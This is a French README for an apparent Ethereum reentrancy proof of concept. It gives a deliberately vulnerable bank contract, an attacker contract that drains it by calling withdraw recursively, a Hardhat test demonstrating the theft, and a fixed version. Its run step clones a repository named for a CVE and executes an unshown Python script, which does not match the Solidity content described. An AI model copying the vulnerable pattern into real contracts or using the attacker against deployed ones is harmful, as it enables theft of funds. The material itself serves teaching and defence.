
Vulnérabilité d'attaque de réentrance de contrat intelligent POC
smart contract reentrancy attack vulnerability 验证
Ce dépôt contient une preuve de concept (PoC) démontrant une vulnérabilité d'attaque par réentrance sur les contrats intelligents Ethereum. Le PoC comprend un contrat intelligent vulnérable, un contrat attaquant, et des instructions pour reproduire l'attaque dans un environnement de test local.
La réentrance est une vulnérabilité courante dans les contrats intelligents Ethereum, où un contrat externe peut effectuer des appels répétés vers le contrat d'origine avant la fin du premier appel, ce qui peut vider des fonds ou manipuler l'état. Ce PoC montre comment un attaquant peut exploiter un contrat vulnérable pour voler de l'Ether.
Le contrat vulnérable (VulnerableBank) permet aux utilisateurs de déposer et de retirer de l'Ether. Cependant, il ne gère pas correctement les mises à jour d'état avant d'effectuer des appels externes, ce qui le rend susceptible à la réentrance. Le contrat attaquant (Attacker) exploite cela en appelant récursivement la fonction withdraw pour vider le solde d'Ether du contrat.
withdraw de VulnerableBank envoie de l'Ether à l'appelant avant de mettre à jour le solde de l'utilisateur.withdraw dans sa fonction de repli, vidant ainsi les fonds du contrat.Pour exécuter ce PoC, vous avez besoin de :
git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
cd POC-CVE-2025-48621
python3 poc.py
Voici les deux contrats utilisés dans ce PoC :
Ce contrat simule une simple banque permettant les dépôts et retraits, mais vulnérable à la réentrance.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// Vulnérable : appel externe avant mise à jour de l'état
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Mise à jour de l'état après l'appel externe
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Ce contrat exploite la vulnérabilité de réentrance en appelant récursivement la fonction withdraw.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attacker {
VulnerableBank public vulnerableBank;
uint256 public constant WITHDRAW_AMOUNT = 1 ether;
constructor(address _vulnerableBankAddress) {
vulnerableBank = VulnerableBank(_vulnerableBankAddress);
}
// Lance l'attaque
function attack() external payable {
require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
vulnerableBank.withdraw();
}
// Fonction de repli pour appeler récursivement withdraw
receive() external payable {
if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
vulnerableBank.withdraw();
}
}
// Retire l'Ether volé vers l'adresse de l'attaquant
function withdrawFunds() external {
payable(msg.sender).transfer(address(this).balance);
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Un script de test Hardhat est inclus pour automatiser la simulation de l'attaque.
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Reentrancy Attack PoC", function () {
let vulnerableBank, attacker, owner, attackerAddr;
beforeEach(async function () {
// Déploiement de VulnerableBank
const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
vulnerableBank = await VulnerableBank.deploy();
await vulnerableBank.deployed();
// Déploiement de Attacker
const Attacker = await ethers.getContractFactory("Attacker");
[owner, attackerAddr] = await ethers.getSigners();
attacker = await Attacker.deploy(vulnerableBank.address);
await attacker.deployed();
// Alimenter VulnerableBank avec 10 Ether
await owner.sendTransaction({
to: vulnerableBank.address,
value: ethers.utils.parseEther("10"),
});
});
it("should drain VulnerableBank via reentrancy", async function () {
// Soldes initiaux
const initialBankBalance = await vulnerableBank.getBalance();
console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);
// Exécution de l'attaque avec 1 Ether
await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });
// Vérification des soldes finaux
const finalBankBalance = await vulnerableBank.getBalance();
const attackerBalance = await attacker.getBalance();
console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);
expect(finalBankBalance).to.equal(0, "Bank should be drained");
expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
});
});
Pour prévenir les attaques par réentrance, considérez les bonnes pratiques suivantes :
ReentrancyGuard d'OpenZeppelin) pour empêcher les appels récursifs.transfer ou send : Ces méthodes limitent le gaz, réduisant le risque de réentrance.// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SecureBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance to withdraw");
// Mise à jour de l'état d'abord
balances[msg.sender] = 0;
// Puis appel externe
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.